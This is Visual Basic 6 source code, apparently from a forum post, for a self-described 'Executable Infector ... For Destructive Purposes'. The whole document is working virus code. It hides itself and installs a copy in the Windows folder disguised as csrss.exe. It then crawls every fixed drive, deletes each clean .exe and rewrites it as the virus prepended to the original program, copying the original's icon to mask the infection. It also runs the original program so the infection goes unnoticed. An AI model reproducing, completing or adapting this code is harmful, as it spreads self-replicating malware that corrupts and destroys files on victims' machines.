Código: Seleccionar todo
' Executable Infector _
Written By justin[Mohamed FaYeD] _
[email protected] _
For Destructive Purposes
Dim sPath As String
Dim sOPath As String
Dim sData As String
Dim VirusData As String
Dim FinalEXE As String
Dim lStart As Long
Dim lEnd As Long
Dim sLen As Long
Dim sIcon As String
Private Sub Form_Load()
app.TaskVisible = False
If App.PrevInstance = True Then End
'## Begin OF Dropping
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
sOPath = AddBackSlash(App.Path) & App.EXEName & ".MFF"
If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then
Else
Open sPath For Binary As #1
sData = Space(LOF(1))
Get #1, , sData
lStart = InStr(25000, sData, "|||||")
If lStart > 0 Then
lStart = lStart + 5
sData = Mid(sData, lStart)
Open sOPath For Binary As #2
Put 2, , sData
Close 2
If Command$ = "" Then
Shell sOPath, vbNormalFocus
Else
Shell sOPath & " " & Command$, vbNormalFocus
End If
End If
Close 1
End If
'## End OF Dropping
'@@@@@@@@@@@@@@@@@@@@@@@@@
If Dir(Environ$("WinDir") & "\csrss.exe") = "" Then
sPath = AddBackSlash(App.Path)
FileCopy sPath & App.EXEName & ".exe", Environ$("WinDir") & "\csrss.exe"
While Dir(Environ$("WinDir") & "\csrss.exe") = ""
DoEvents
Wend
Shell Environ$("WinDir") & "\csrss.exe"
End
End If
If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then
'Do nothing
Else
Shell Environ$("WinDir") & "\csrss.exe"
End
End If
'#########################
Call GetDrives
End Sub
Sub GetDrives()
Dim ObjFSO As Object
Dim Drives As Object
Dim sDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set Drives = ObjFSO.Drives
For Each sDrive In Drives
If sDrive.DriveType = 2 Then
MsgBox sDrive & "\"
GetEXEs (sDrive & "\")
GetFolders (sDrive & "\")
End If
Next
End Sub
Function GetFolders(Folder As String)
Dim ObjFSO As Object
Dim sFolder As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders
DoEvents
Call GetEXEs(sFolder.Path)
Call GetFolders(sFolder.Path)
Next
End Function
Function GetEXEs(Path As String)
Dim exes As String, EXEPath As String
If Right(Path, 1) <> "\" Then Path = Path & "\"
EXEPath = Dir$(Path & "*.exe")
While EXEPath <> ""
List1.AddItem Path & EXEPath
'MsgBox Path & EXEPath
Call InfectEXE(Path & EXEPath)
EXEPath = Dir$
Wend
End Function
Function InfectEXE(EXEPath As String)
Me.Visible = True
On Error Resume Next
Dim Check As Boolean
Check = False
Dim s As String, ss As String, sss As String
Dim sNulls As String
Dim sLenICOINEXE As Long
Dim sLenDif As Long
Dim sLenTemp As String
Dim sTemp As String
s = "1u" & "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
sss = "3u(" & Chr$(0) '& Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0)
For i = 1 To 296 ' Generate 296 Nulls to change 16*16 icon
sNulls = sNulls & Chr$(0)
Next
'First we will check if it is already infected
Open EXEPath For Binary As #1
sData = Space(LOF(1))
Get 1, , sData
Close 1
If InStr(25000, sData, "|||||") Then
'it is infected then do nothing
Else
'it is clean so try to infect it
Kill EXEPath
sIcon = GetIconFromEXE(sData, Check)
If Check = True Then
'MsgBox "Icon Found"
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2
i = InStr(1, VirusData, s)
If i <> 0 Then '(1u found)
VirusData = Left(VirusData, i + 1) ' get to u in (1u)
VirusData = VirusData & sIcon
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Exit Function
Else 'If (1u) not found .. try to find (3u)
i = InStr(1, sData, sss)
If i > 0 Then
'Debug.Print "Second Method Method... (3u found)"
sTemp = Left(VirusData, i + 1) 'Get to (3u)
sLenICOINEXE = Len(VirusData) - (i + 297) ' add one byte to 296 coz of (u) in (1u)
sLenICOINICO = Len(sIcon)
If sLenICOINEXE > sLenICOINICO Then
sLenDif = sLenICOINEXE - sLenICOINICO
For i = 1 To sLenDif
sLenTemp = sLenTemp & Chr$(0)
Next
End If
VirusData = sTemp & sNulls & sIcon & sLenTemp
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Exit Function
End If
End If 'for if i <> 0
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Else ' Means Check = False
'virus icon is default for the final EXE
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
End If ' for check
End If ' for |||||
End Function
Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String
Dim c As String, sNull As String, ss As String
Dim sPath As String, sIcon As String
Dim l As Long
c = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
i = InStr(1, eData, "MSVBVM")
If i > 0 Then
'VB EXE
i = InStr(1, eData, ss)
If i > 0 Then
sIcon = Mid(eData, i)
'sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
End If
Else ' Not Vb EXE so first search for last (... ...@ and compare the size
i = InStr(1, eData, ss)
If i > 0 Then
If Len(eData) - i > 10000 Then
i = InStrRev(eData, ss, Len(eData))
If i > 0 And Len(eData) - i < 10000 Then
sIcon = Mid(eData, i, Len(eData) - i)
'sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
Else
sIcon = Mid(eData, i, 2238)
' sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
End If
Else 'means If Len(eData) - i < 10000B
sIcon = Mid(eData, i, 2238)
' If 2330 - Len(sIcon) > 0 Then
' l = 2350 - Len(sIcon)
' For i = 1 To l
' sNull = sNull & Chr(0)
' Next
' End If
' sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True
Exit Function
End If
End If
End If
state = False
End Function
Function AddBackSlash(strPath As String) As String
If Right(strPath, 1) <> "\" Then
AddBackSlash = strPath & "\"
Else
AddBackSlash = strPath
End If
End Function
Private Sub Form_Unload(Cancel As Integer)
End
End Sub
